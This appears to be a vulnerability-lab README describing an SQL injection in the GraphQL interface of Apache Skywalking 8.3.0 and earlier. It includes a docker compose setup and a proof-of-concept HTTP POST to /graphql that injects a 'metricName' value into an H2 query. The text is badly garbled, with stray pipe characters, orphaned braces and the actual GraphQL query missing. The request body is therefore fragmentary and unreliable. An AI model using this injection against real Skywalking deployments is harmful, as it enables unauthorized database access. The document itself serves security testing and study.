# Apache Skywalking 8.3.0 SQL Injection Vulnerability
|
||
|
||
[中文版本(Chinese version)](README.zh-cn.md)
|
||
|
||
Application performance monitor tool for distributed systems, especially designed for microservices, cloud native and container-based (Docker, Kubernetes, Mesos) architectures.
|
||
|
||
In GraphQL interfaces of Apache Skywalking 8.3.0 and previous, there is a H2 Database SQL injection vulnerability.
|
||

|
||
|
||
## Vulnerability environment
|
||
|
||
Execute the following command to start an Apache Skywalking 8.3.0:
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
After the environment is started, visit `http://your-ip:8080` to view the Skywalking page.
|
||
|
||
## POC
|
||
|
||
I use GraphiQL's desktop app to send the following GraphQL query:
|
||
|
||
|
||
|
||
It can be seen that the SQL statement has raised error, and the value of the `metricName` parameter has been injected after `from`.
|
||
|
||
The HTTP request of this GraphQL query is:
|
||
|
||
```
|
||
POST /graphql HTTP/1.1
|
||
Host: localhost:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*

||

||

}
|

}
|

}
|

",

|
||
"metricName":"sqli",
|
||
"state":"ALL",
|
||
"paging":{
|

|

}
|

}
|

}
|

}
|
||
```
